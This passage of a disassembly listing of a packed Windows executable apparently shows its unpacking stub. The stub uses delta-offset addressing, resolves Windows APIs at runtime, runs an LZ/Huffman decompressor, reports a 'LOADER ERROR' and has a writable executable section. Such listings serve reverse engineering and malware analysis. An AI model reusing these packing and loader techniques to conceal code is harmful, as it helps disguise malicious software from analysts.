		lea	ecx, [ebp+444841h]
		push	ecx
		push	eax
		call	dword ptr [ebp+444914h]
		mov	[ebp+4439EDh], eax
		lea	eax, [ebp+444851h]
		push	eax
		call	dword ptr [ebp+44491Ch]
		mov	[ebp+44484Dh], eax
		lea	ecx, [ebp+44485Ch]
		push	ecx
		push	eax
		call	dword ptr [ebp+444914h]
		mov	[ebp+4439F1h], eax
		mov	eax, [ebp+44484Dh]
		lea	ecx, [ebp+444868h]
		push	ecx
		push	eax
		call	dword ptr [ebp+444914h]
		call	eax
		add	esp, 10h
		pop	edi
		push	30h
		lea	ebx, [ebp+444872h]
		push	ebx
		push	edi
		push	0
		call	dword ptr [ebp+4439F1h]
		push	0FFFFFFFFh
		call	dword ptr [ebp+4439EDh]

; =============== S U B	R O U T	I N E =======================================



sub_44A577	proc near		; CODE XREF: .text:0044A002p
		mov	ebp, [esp+0]
		sub	ebp, 4439ABh
		retn
sub_44A577	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+10h]
		sub	esp, 354h
		lea	ecx, [esp+4]
		push	eax
		call	sub_44A93D
		mov	ecx, [esp+35Ch]
		mov	edx, [esp+358h]
		push	ecx
		push	edx
		lea	ecx, [esp+0Ch]
		call	sub_44A9BB
		test	al, al
		jnz	short loc_44A5BC
		or	eax, 0FFFFFFFFh
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_44A5BC:				; CODE XREF: .text:0044A5B0j
		mov	ecx, [esp+360h]
		lea	eax, [esp]
		push	eax
		push	ecx
		lea	ecx, [esp+0Ch]
		call	sub_44ABC0
		test	al, al
		jnz	short loc_44A5DF
		or	eax, 0FFFFFFFFh
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_44A5DF:				; CODE XREF: .text:0044A5D3j
		mov	eax, [esp]
		add	esp, 354h
		retn	10h
; ---------------------------------------------------------------------------
		align 4
		dd 4030201h, 8070605h, 100E0C0Ah, 201C1814h, 40383028h
		dd 80706050h, 0E0C0A0h,	0
		dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h
		dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h
		dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h
		dd 12121212h
		db 12h

; =============== S U B	R O U T	I N E =======================================



sub_44A65D	proc near		; CODE XREF: sub_44AA1C+13p
					; sub_44AA1C+30p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	edx, ecx
		push	esi
		mov	ecx, 8
		push	edi
		cmp	[edx+4], ecx
		jb	short loc_44A6A1
		push	ebx
		mov	esi, 0FFFFFFF8h


loc_44A672:				; CODE XREF: sub_44A65D+41j
		mov	eax, [edx]
		mov	bl, [eax]
		inc	eax
		mov	byte ptr [esp+10h+var_4], bl
		mov	[edx], eax
		mov	eax, [edx+8]
		mov	edi, [esp+10h+var_4]
		shl	eax, 8
		and	edi, 0FFh
		or	eax, edi
		mov	edi, [edx+4]
		add	edi, esi
		mov	[edx+8], eax
		mov	eax, edi
		mov	[edx+4], edi
		cmp	eax, ecx
		jnb	short loc_44A672
		pop	ebx


loc_44A6A1:				; CODE XREF: sub_44A65D+Dj
		mov	esi, [edx+4]
		mov	eax, [edx+8]
		mov	edi, [esp+0Ch+arg_0]
		sub	ecx, esi
		shr	eax, cl
		mov	ecx, 18h
		sub	ecx, edi
		and	eax, 0FFFFFFh
		shr	eax, cl
		add	esi, edi
		pop	edi
		mov	[edx+4], esi
		pop	esi
		pop	ecx
		retn	4
sub_44A65D	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A6C8	proc near		; CODE XREF: sub_44A93D+3Ep
					; sub_44A93D+4Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, [esp+arg_4]
		mov	[ecx+84h], eax
		mov	[ecx+88h], edx
		lea	eax, [edx+eax*4]
		mov	[ecx+8Ch], eax
		add	eax, 100h
		retn	8
sub_44A6C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A6ED	proc near		; CODE XREF: sub_44AA1C+4Cp
					; sub_44AA1C+F7p ...

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
arg_0		= dword	ptr  4

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		mov	edx, ecx
		push	edi
		mov	ecx, 0Fh
		mov	ebp, [edx+84h]
		xor	eax, eax
		lea	edi, [esp+0A8h+var_7C]
		xor	esi, esi
		rep stosd
		mov	edi, [esp+0A8h+arg_0]
		cmp	ebp, esi
		mov	[esp+0A8h+var_88], edx
		jbe	short loc_44A732


loc_44A71D:				; CODE XREF: sub_44A6ED+43j
		xor	ecx, ecx
		mov	cl, [eax+edi]
		mov	ebx, [esp+ecx*4+0A8h+var_80]
		lea	ecx, [esp+ecx*4+0A8h+var_80]
		inc	ebx
		inc	eax
		cmp	eax, ebp
		mov	[ecx], ebx
		jb	short loc_44A71D


loc_44A732:				; CODE XREF: sub_44A6ED+2Ej
		mov	ecx, 17h
		mov	[esp+0A8h+var_80], esi
		mov	[edx+4], esi
		mov	[edx+44h], esi
		mov	[esp+0A8h+var_40], esi
		xor	edi, edi
		mov	[esp+0A8h+var_8C], esi
		mov	[esp+0A8h+var_98], 1
		mov	[esp+0A8h+var_90], ecx
		lea	ebp, [edx+8]
		mov	[esp+0A8h+var_94], esi


loc_44A75E:				; CODE XREF: sub_44A6ED+109j
		mov	eax, [esp+esi+0A8h+var_7C]
		shl	eax, cl
		add	edi, eax
		cmp	edi, 1000000h
		mov	[esp+0A8h+var_84], edi
		ja	loc_44A804
		mov	eax, [esp+esi+0A8h+var_80]
		mov	[ebp+0], edi
		mov	ebx, [ebp+3Ch]
		add	eax, ebx
		cmp	ecx, 10h
		mov	[ebp+40h], eax
		mov	[esp+esi+0A8h+var_3C], eax
		jl	short loc_44A7DB
		mov	esi, [ebp+0]
		mov	eax, [esp+0A8h+var_98]
		mov	ebx, [esp+0A8h+var_8C]
		mov	edi, [edx+8Ch]
		shr	esi, 10h
		mov	ecx, esi
		and	eax, 0FFh
		sub	ecx, ebx
		add	edi, ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		mov	[esp+0A8h+var_8C], esi
		mov	eax, ebx
		mov	esi, [esp+0A8h+var_94]
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+0A8h+var_88]
		and	ecx, 3
		rep stosb
		mov	edi, [esp+0A8h+var_84]
		mov	ecx, [esp+0A8h+var_90]


loc_44A7DB:				; CODE XREF: sub_44A6ED+9Fj
		mov	eax, [esp+0A8h+var_98]
		add	esi, 4
		inc	eax
		dec	ecx
		add	ebp, 4
		cmp	ecx, 9
		mov	[esp+0A8h+var_98], eax
		mov	[esp+0A8h+var_90], ecx
		mov	[esp+0A8h+var_94], esi
		jge	loc_44A75E
		cmp	edi, 1000000h
		jz	short loc_44A813


loc_44A804:				; CODE XREF: sub_44A6ED+83j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 98h
		retn	4
; ---------------------------------------------------------------------------


loc_44A813:				; CODE XREF: sub_44A6ED+115j
		mov	eax, [edx+84h]
		xor	ecx, ecx
		test	eax, eax
		jbe	short loc_44A85A
		mov	esi, [esp+0A8h+arg_0]


loc_44A826:				; CODE XREF: sub_44A6ED+16Bj
		mov	al, [ecx+esi]
		test	al, al
		jz	short loc_44A84F
		mov	edi, [edx+88h]
		and	eax, 0FFh
		mov	eax, [esp+eax*4+0A8h+var_40]
		mov	[edi+eax*4], ecx
		xor	eax, eax
		mov	al, [ecx+esi]
		mov	edi, [esp+eax*4+0A8h+var_40]
		lea	eax, [esp+eax*4+0A8h+var_40]
		inc	edi
		mov	[eax], edi


loc_44A84F:				; CODE XREF: sub_44A6ED+13Ej
		mov	eax, [edx+84h]
		inc	ecx
		cmp	ecx, eax
		jb	short loc_44A826


loc_44A85A:				; CODE XREF: sub_44A6ED+130j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 98h
		retn	4
sub_44A6ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A869	proc near		; CODE XREF: sub_44AA1C+64p
					; sub_44ABC0+28p ...

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi]
		cmp	dword ptr [eax+4], 8
		jb	short loc_44A8A7


loc_44A877:				; CODE XREF: sub_44A869+3Cj
		mov	ecx, [eax]
		mov	dl, [ecx]
		inc	ecx
		mov	byte ptr [esp+10h+var_4], dl
		mov	[eax], ecx
		mov	ecx, [eax+8]
		mov	edx, [esp+10h+var_4]
		shl	ecx, 8
		and	edx, 0FFh
		or	ecx, edx
		mov	edx, [eax+4]
		add	edx, 0FFFFFFF8h
		mov	[eax+8], ecx
		mov	ecx, edx
		mov	[eax+4], edx
		cmp	ecx, 8
		jnb	short loc_44A877


loc_44A8A7:				; CODE XREF: sub_44A869+Cj
		mov	edx, [eax+4]
		mov	eax, [eax+8]
		mov	ecx, 8
		sub	ecx, edx
		shr	eax, cl
		mov	ecx, [esi+24h]
		and	eax, 0FFFE00h
		cmp	eax, ecx
		jnb	short loc_44A8D6
		mov	edx, [esi+8Ch]
		mov	ecx, eax
		shr	ecx, 10h
		xor	ebx, ebx
		mov	bl, [ecx+edx]
		mov	edx, ebx
		jmp	short loc_44A911
; ---------------------------------------------------------------------------


loc_44A8D6:				; CODE XREF: sub_44A869+57j
		cmp	eax, [esi+2Ch]
		jnb	short loc_44A8E5
		cmp	eax, [esi+28h]
		sbb	edx, edx
		add	edx, 0Ah
		jmp	short loc_44A911
; ---------------------------------------------------------------------------


loc_44A8E5:				; CODE XREF: sub_44A869+70j
		cmp	eax, [esi+30h]
		jnb	short loc_44A8F1
		mov	edx, 0Bh
		jmp	short loc_44A911
; ---------------------------------------------------------------------------


loc_44A8F1:				; CODE XREF: sub_44A869+7Fj
		cmp	eax, [esi+34h]
		jnb	short loc_44A8FD
		mov	edx, 0Ch
		jmp	short loc_44A911
; ---------------------------------------------------------------------------


loc_44A8FD:				; CODE XREF: sub_44A869+8Bj
		cmp	eax, [esi+38h]
		jnb	short loc_44A909
		mov	edx, 0Dh
		jmp	short loc_44A911
; ---------------------------------------------------------------------------


loc_44A909:				; CODE XREF: sub_44A869+97j
		cmp	eax, [esi+3Ch]
		sbb	edx, edx
		add	edx, 0Fh


loc_44A911:				; CODE XREF: sub_44A869+6Bj
					; sub_44A869+7Aj ...
		mov	ecx, [esi]
		mov	edi, [ecx+4]
		add	edi, edx
		mov	[ecx+4], edi
		mov	ebx, [esi+edx*4]
		mov	ecx, 18h
		sub	eax, ebx
		sub	ecx, edx
		pop	edi
		shr	eax, cl
		mov	ecx, [esi+edx*4+44h]
		add	eax, ecx
		mov	ecx, [esi+88h]
		pop	esi
		pop	ebx
		mov	eax, [ecx+eax*4]
		pop	ecx
		retn
sub_44A869	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A93D	proc near		; CODE XREF: .text:0044A590p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		xor	edx, edx
		xor	eax, eax
		lea	esi, [edi+268h]


loc_44A94C:				; CODE XREF: sub_44A93D+2Fj
		mov	[esi], edx
		push	esi
		call	sub_44ABB2
		mov	cl, [eax+esi+443FC7h]
		pop	esi
		mov	ebx, 1
		add	esi, 4
		shl	ebx, cl
		add	edx, ebx
		inc	eax
		cmp	eax, 3Ah
		jb	short loc_44A94C
		mov	eax, [esp+0Ch+arg_0]
		lea	ecx, [edi+10h]
		push	eax
		push	2D1h
		call	sub_44A6C8
		push	eax
		push	1Ch
		lea	ecx, [edi+0A0h]
		call	sub_44A6C8
		push	eax
		push	8
		lea	ecx, [edi+130h]
		call	sub_44A6C8
		push	eax
		push	13h
		lea	ecx, [edi+1C0h]
		call	sub_44A6C8
		mov	[edi+260h], eax
		pop	edi
		pop	esi
		add	eax, 2F5h
		pop	ebx
		retn	4
sub_44A93D	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A9BB	proc near		; CODE XREF: .text:0044A5A9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, ecx
		mov	ecx, [esp+arg_0]
		push	edi
		mov	[edx], eax
		lea	eax, [edx+4]
		mov	[eax], ecx
		mov	dword ptr [eax+4], 20h
		mov	[edx+10h], eax
		mov	[edx+0A0h], eax
		mov	[edx+130h], eax
		mov	[edx+1C0h], eax
		xor	eax, eax
		mov	ecx, 0BDh
		mov	[edx+250h], eax
		mov	[edx+254h], eax
		mov	[edx+258h], eax
		mov	edi, [edx+260h]
		mov	[edx+25Ch], eax
		rep stosd
		mov	ecx, edx
		stosb
		call	sub_44AA1C
		pop	edi
		retn	8
sub_44A9BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_44AA1C	proc near		; CODE XREF: sub_44A9BB+58p
					; sub_44ABC0+267p

var_30C		= byte ptr -30Ch
var_2F9		= byte ptr -2F9h
var_2F8		= byte ptr -2F8h
var_27		= byte ptr -27h
var_B		= byte ptr -0Bh

		sub	esp, 30Ch
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		lea	ebp, [ebx+4]
		push	edi
		push	1
		mov	ecx, ebp
		call	sub_44A65D
		test	eax, eax
		jnz	short loc_44AA46
		mov	edi, [ebx+260h]
		mov	ecx, 0BDh
		rep stosd
		stosb


loc_44AA46:				; CODE XREF: sub_44AA1C+1Aj
		xor	esi, esi


loc_44AA48:				; CODE XREF: sub_44AA1C+3Dj
		push	4
		mov	ecx, ebp
		call	sub_44A65D
		mov	[esp+esi+31Ch+var_30C],	al
		inc	esi
		cmp	esi, 13h
		jb	short loc_44AA48
		lea	edi, [ebx+1C0h]
		lea	eax, [esp+31Ch+var_30C]
		push	eax
		mov	ecx, edi
		call	sub_44A6ED
		test	al, al
		jnz	short loc_44AA7C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 30Ch
		retn
; ---------------------------------------------------------------------------


loc_44AA7C:				; CODE XREF: sub_44AA1C+53j
		xor	esi, esi


loc_44AA7E:				; CODE XREF: sub_44AA1C+E9j
		mov	ecx, edi
		call	sub_44A869
		cmp	eax, 10h
		jnb	short loc_44AA9F
		mov	ecx, [ebx+260h]
		mov	dl, [ecx+esi]
		add	dl, al
		and	dl, 0Fh
		mov	[esp+esi+31Ch+var_2F8],	dl
		inc	esi
		jmp	short loc_44AAFF
; ---------------------------------------------------------------------------


loc_44AA9F:				; CODE XREF: sub_44AA1C+6Cj
		jnz	short loc_44AAC9
		push	2
		mov	ecx, ebp
		call	sub_44A65D
		add	eax, 3
		test	eax, eax
		jle	short loc_44AAFF


loc_44AAB1:				; CODE XREF: sub_44AA1C+A9j
		cmp	esi, 2F5h
		jge	short loc_44AB0B
		mov	cl, [esp+esi+31Ch+var_2F9]
		dec	eax
		mov	[esp+esi+31Ch+var_2F8],	cl
		inc	esi
		test	eax, eax
		jg	short loc_44AAB1
		jmp	short loc_44AAFF
; ---------------------------------------------------------------------------


loc_44AAC9:				; CODE XREF: sub_44AA1C:loc_44AA9Fj
		cmp	eax, 11h
		jnz	short loc_44AADC
		push	3
		mov	ecx, ebp
		call	sub_44A65D
		add	eax, 3
		jmp	short loc_44AAE8
; ---------------------------------------------------------------------------


loc_44AADC:				; CODE XREF: sub_44AA1C+B0j
		push	7
		mov	ecx, ebp
		call	sub_44A65D
		add	eax, 0Bh


loc_44AAE8:				; CODE XREF: sub_44AA1C+BEj
		test	eax, eax
		jle	short loc_44AAFF


loc_44AAEC:				; CODE XREF: sub_44AA1C+E1j
		cmp	esi, 2F5h
		jge	short loc_44AB0B
		mov	[esp+esi+31Ch+var_2F8],	0
		inc	esi
		dec	eax
		test	eax, eax
		jg	short loc_44AAEC


loc_44AAFF:				; CODE XREF: sub_44AA1C+81j
					; sub_44AA1C+93j ...
		cmp	esi, 2F5h
		jl	loc_44AA7E


loc_44AB0B:				; CODE XREF: sub_44AA1C+9Bj
					; sub_44AA1C+D6j
		lea	edx, [esp+31Ch+var_2F8]
		lea	ecx, [ebx+10h]
		push	edx
		call	sub_44A6ED
		test	al, al
		jnz	short loc_44AB27
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 30Ch
		retn
; ---------------------------------------------------------------------------


loc_44AB27:				; CODE XREF: sub_44AA1C+FEj
		lea	eax, [esp+31Ch+var_27]
		lea	ecx, [ebx+0A0h]
		push	eax
		call	sub_44A6ED
		test	al, al
		jnz	short loc_44AB49
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 30Ch
		retn
; ---------------------------------------------------------------------------


loc_44AB49:				; CODE XREF: sub_44AA1C+120j
		lea	ecx, [esp+31Ch+var_B]
		push	ecx
		lea	ecx, [ebx+130h]
		call	sub_44A6ED
		test	al, al
		jnz	short loc_44AB6B
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 30Ch
		retn
; ---------------------------------------------------------------------------


loc_44AB6B:				; CODE XREF: sub_44AA1C+142j
		mov	byte ptr [ebx+264h], 0
		xor	eax, eax


loc_44AB74:				; CODE XREF: sub_44AA1C+166j
		cmp	[esp+eax+31Ch+var_B], 3
		jnz	short loc_44AB86
		inc	eax
		cmp	eax, 8
		jb	short loc_44AB74
		jmp	short loc_44AB8D
; ---------------------------------------------------------------------------


loc_44AB86:				; CODE XREF: sub_44AA1C+160j
		mov	byte ptr [ebx+264h], 1


loc_44AB8D:				; CODE XREF: sub_44AA1C+168j
		mov	eax, [ebx+260h]
		lea	ecx, [esp+31Ch+var_2F8]
		mov	esi, 2F5h


loc_44AB9C:				; CODE XREF: sub_44AA1C+187j
		mov	dl, [ecx]
		mov	[eax], dl
		inc	eax
		inc	ecx
		dec	esi
		jnz	short loc_44AB9C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30Ch
		retn
sub_44AA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_44ABB2	proc near		; CODE XREF: sub_44A93D+12p
					; sub_44ABC0+80p ...
		call	sub_44ABB8
		nop
sub_44ABB2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44ABB8	proc near		; CODE XREF: sub_44ABB2p
		pop	esi
		sub	esi, 44455Bh
		retn
sub_44ABB8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44ABC0	proc near		; CODE XREF: .text:0044A5CCp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 14h
		mov	eax, [esp+14h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	dword ptr [eax], 0
		mov	eax, [esp+20h+arg_0]
		push	edi
		xor	edi, edi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+24h+var_14], edi
		jbe	loc_44AE40


loc_44ABE5:				; CODE XREF: sub_44ABC0+274j
		lea	ecx, [esi+10h]
		call	sub_44A869
		cmp	eax, 100h
		jnb	short loc_44AC07
		mov	ecx, [esi]
		mov	[ecx], al
		mov	ecx, [esi]
		inc	ecx
		inc	edi
		mov	[esi], ecx
		mov	[esp+24h+var_14], edi
		jmp	loc_44AE30
; ---------------------------------------------------------------------------


loc_44AC07:				; CODE XREF: sub_44ABC0+32j
		cmp	eax, 2D0h
		jnb	loc_44AE25
		add	eax, 0FFFFFF00h
		mov	ebp, eax
		and	eax, 7
		shr	ebp, 3
		lea	edx, [eax+2]
		cmp	eax, 7
		mov	[esp+24h+var_10], edx
		jnz	loc_44ACC3
		lea	ecx, [esi+0A0h]
		call	sub_44A869
		mov	ecx, [esi+8]
		xor	ebx, ebx
		push	esi
		call	sub_44ABB2
		mov	bl, [eax+esi+443FABh]
		pop	esi
		cmp	ecx, 8
		jb	short loc_44AC84


loc_44AC52:				; CODE XREF: sub_44ABC0+C2j
		mov	ecx, [esi+4]
		mov	dl, [ecx]
		inc	ecx
		mov	byte ptr [esp+24h+var_C], dl
		mov	[esi+4], ecx
		mov	ecx, [esi+0Ch]
		mov	edx, [esp+24h+var_C]
		shl	ecx, 8
		and	edx, 0FFh
		or	ecx, edx
		mov	edx, [esi+8]
		add	edx, 0FFFFFFF8h
		mov	[esi+0Ch], ecx
		mov	ecx, edx
		mov	[esi+8], edx
		cmp	ecx, 8
		jnb	short loc_44AC52


loc_44AC84:				; CODE XREF: sub_44ABC0+90j
		mov	edi, [esi+8]
		mov	edx, [esi+0Ch]
		mov	ecx, 8
		sub	ecx, edi
		add	edi, ebx
		shr	edx, cl
		mov	ecx, 18h
		mov	[esi+8], edi
		sub	ecx, ebx
		and	edx, 0FFFFFFh
		shr	edx, cl
		xor	ecx, ecx
		push	esi
		call	sub_44ABB2
		mov	cl, [eax+esi+443F8Fh]
		pop	esi
		mov	eax, [esp+24h+var_10]
		add	ecx, edx
		add	eax, ecx
		mov	[esp+24h+var_10], eax


loc_44ACC3:				; CODE XREF: sub_44ABC0+69j
		mov	al, [esi+264h]
		mov	ebx, [esi+ebp*4+268h]
		xor	edx, edx
		push	esi
		call	sub_44ABB2
		mov	dl, [ebp+esi+443FC7h]
		pop	esi
		test	al, al
		mov	edi, edx
		jz	short loc_44AD5C
		cmp	edi, 3
		jb	short loc_44AD5C
		mov	eax, [esi+8]
		lea	ebp, [edi-3]
		cmp	eax, 8
		jb	short loc_44AD27


loc_44ACF6:				; CODE XREF: sub_44ABC0+165j
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		shl	edx, 8
		mov	cl, [eax]
		inc	eax
		mov	byte ptr [esp+24h+var_8], cl
		mov	ecx, [esi+8]
		mov	[esi+4], eax
		mov	eax, [esp+24h+var_8]
		and	eax, 0FFh
		add	ecx, 0FFFFFFF8h
		or	edx, eax
		mov	eax, ecx
		cmp	eax, 8
		mov	[esi+0Ch], edx
		mov	[esi+8], ecx
		jnb	short loc_44ACF6


loc_44AD27:				; CODE XREF: sub_44ABC0+134j
		mov	eax, [esi+8]
		mov	edi, [esi+0Ch]
		mov	ecx, 8
		sub	ecx, eax
		add	eax, ebp
		shr	edi, cl
		mov	ecx, 18h
		mov	[esi+8], eax
		sub	ecx, ebp
		and	edi, 0FFFFFFh
		shr	edi, cl
		lea	ecx, [esi+130h]
		call	sub_44A869
		add	eax, ebx
		lea	ebx, [eax+edi*8]
		jmp	short loc_44ADB7
; ---------------------------------------------------------------------------


loc_44AD5C:				; CODE XREF: sub_44ABC0+124j
					; sub_44ABC0+129j
		cmp	dword ptr [esi+8], 8
		jb	short loc_44AD93


loc_44AD62:				; CODE XREF: sub_44ABC0+1D1j
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		shl	edx, 8
		mov	cl, [eax]
		inc	eax
		mov	byte ptr [esp+24h+var_4], cl
		mov	ecx, [esi+8]
		mov	[esi+4], eax
		mov	eax, [esp+24h+var_4]
		and	eax, 0FFh
		add	ecx, 0FFFFFFF8h
		or	edx, eax
		mov	eax, ecx
		cmp	eax, 8
		mov	[esi+0Ch], edx
		mov	[esi+8], ecx
		jnb	short loc_44AD62


loc_44AD93:				; CODE XREF: sub_44ABC0+1A0j
		mov	edx, [esi+8]
		mov	eax, [esi+0Ch]
		mov	ecx, 8
		sub	ecx, edx
		add	edx, edi
		shr	eax, cl
		mov	ecx, 18h
		mov	[esi+8], edx
		sub	ecx, edi
		and	eax, 0FFFFFFh
		shr	eax, cl
		add	ebx, eax


loc_44ADB7:				; CODE XREF: sub_44ABC0+19Aj
		cmp	ebx, 3
		jnb	short loc_44ADD6
		mov	ecx, [esi+ebx*4+250h]
		test	ebx, ebx
		jz	short loc_44ADF7
		mov	edx, [esi+250h]
		mov	[esi+ebx*4+250h], edx
		jmp	short loc_44ADF1
; ---------------------------------------------------------------------------


loc_44ADD6:				; CODE XREF: sub_44ABC0+1FAj
		mov	eax, [esi+254h]
		mov	edx, [esi+250h]
		lea	ecx, [ebx-3]
		mov	[esi+258h], eax
		mov	[esi+254h], edx


loc_44ADF1:				; CODE XREF: sub_44ABC0+214j
		mov	[esi+250h], ecx


loc_44ADF7:				; CODE XREF: sub_44ABC0+205j
		mov	eax, [esi]
		mov	edi, [esp+24h+var_10]
		inc	ecx
		lea	edx, [eax+edi]
		cmp	eax, edx
		mov	[esi], edx
		jnb	short loc_44AE17


loc_44AE07:				; CODE XREF: sub_44ABC0+255j
		mov	edx, eax
		sub	edx, ecx
		inc	eax
		mov	dl, [edx]
		mov	[eax-1], dl
		mov	edx, [esi]
		cmp	eax, edx
		jb	short loc_44AE07


loc_44AE17:				; CODE XREF: sub_44ABC0+245j
		mov	eax, [esp+24h+var_14]
		add	eax, edi
		mov	[esp+24h+var_14], eax
		mov	edi, eax
		jmp	short loc_44AE30
; ---------------------------------------------------------------------------


loc_44AE25:				; CODE XREF: sub_44ABC0+4Cj
		mov	ecx, esi
		call	sub_44AA1C
		test	al, al
		jz	short loc_44AE4C


loc_44AE30:				; CODE XREF: sub_44ABC0+42j
					; sub_44ABC0+263j
		cmp	edi, [esp+24h+arg_0]
		jb	loc_44ABE5
		mov	eax, [esp+24h+arg_4]
		mov	[eax], edi


loc_44AE40:				; CODE XREF: sub_44ABC0+1Fj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 14h
		retn	8
; ---------------------------------------------------------------------------


loc_44AE4C:				; CODE XREF: sub_44ABC0+26Ej
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 14h
		retn	8
sub_44ABC0	endp

; ---------------------------------------------------------------------------
		dd 0
		dd 8, 400000h, 7C800000h, 6E72656Bh, 32336C65h,	6C6C642Eh
		dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h
		dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h
		dd 69784500h, 6F725074h, 73736563h, 0
		dd 65737500h, 2E323372h, 6C6C64h, 7373654Dh, 42656761h
		dd 41786Fh, 72707377h, 66746E69h, 4F4C0041h, 52454441h
		dd 52524520h, 5400524Fh, 70206568h, 65636F72h, 65727564h
		dd 746E6520h, 70207972h, 746E696Fh, 20732520h, 6C756F63h
		dd 6F6E2064h, 65622074h, 636F6C20h, 64657461h, 206E6920h
		dd 20656874h, 616E7964h, 2063696Dh, 6B6E696Ch, 62696C20h
		dd 79726172h, 732520h, 20656854h, 6964726Fh, 206C616Eh
		dd 63207525h, 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch
		dd 20646574h, 74206E69h, 64206568h, 6D616E79h, 6C206369h
		dd 206B6E69h, 7262696Ch, 20797261h, 90007325h, 7C80AC28h
		dd 7C80B529h, 7C801D77h, 0
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 4AF80h, 4AF70h, 3 dup(0)
		dd 4B074h, 4B0C4h, 3 dup(0)
		dd 4B081h, 4B0CCh, 3 dup(0)
		dd 4B08Dh, 4B0D4h, 3 dup(0)
		dd 4B097h, 4B0DCh, 3 dup(0)
		dd 4B0A2h, 4B0E4h, 3 dup(0)
		dd 4B0ACh, 4B0ECh, 3 dup(0)
		dd 4B0B9h, 4B0F4h, 5 dup(0)
		dd 61656C6Fh, 32337475h, 6C6C642Eh, 6E697700h, 74656E69h
		dd 6C6C642Eh, 656C6F00h, 642E3233h, 75006C6Ch, 33726573h
		dd 6C642E32h, 6467006Ch, 2E323369h, 6C6C64h, 61766461h
		dd 32336970h, 6C6C642Eh, 74726300h, 2E6C6C64h, 6C6C64h
		dd 77124BC2h, 0
		dd 771B6E85h, 0
		dd 77526009h, 0
		dd 77D4E34Bh, 0
		dd 77F15FF1h, 0
		dd 77DD7753h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_44B165
; ---------------------------------------------------------------------------
		dw 73D9h
		dd 0
		db    0
		align 2
aSysallocstring	db 'SysAllocString',0
		db 2 dup(0), 46h
aIndfirsturlcac	db 'indFirstUrlCacheEntryA',0
		align 4
		dd 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h, 6C6C6143h
		dd 646E6957h, 7250776Fh, 41636Fh, 65470000h, 6F745374h
		dd 624F6B63h, 7463656Ah, 4F000000h, 506E6570h
		db 72h
; ---------------------------------------------------------------------------


loc_44B165:				; CODE XREF: .text:0044B0F4j
		outsd
		arpl	[ebp+73h], sp
		jnb	short near ptr byte_44B1BF
		outsd
		imul	esp, [ebp+6Eh],	0
; ---------------------------------------------------------------------------
		dd 695F0000h, 616F74h, 11h dup(0)
		db 3 dup(0)
byte_44B1BF	db 0			; CODE XREF: .text:0044B169j
		dd 10h dup(0)
		dd 780h	dup(?)
_text		ends

; Section 2. (virtual address 0004D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0004A600
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_idata		segment	para public 'CODE' use32
		assume cs:_idata
		;org 44D000h
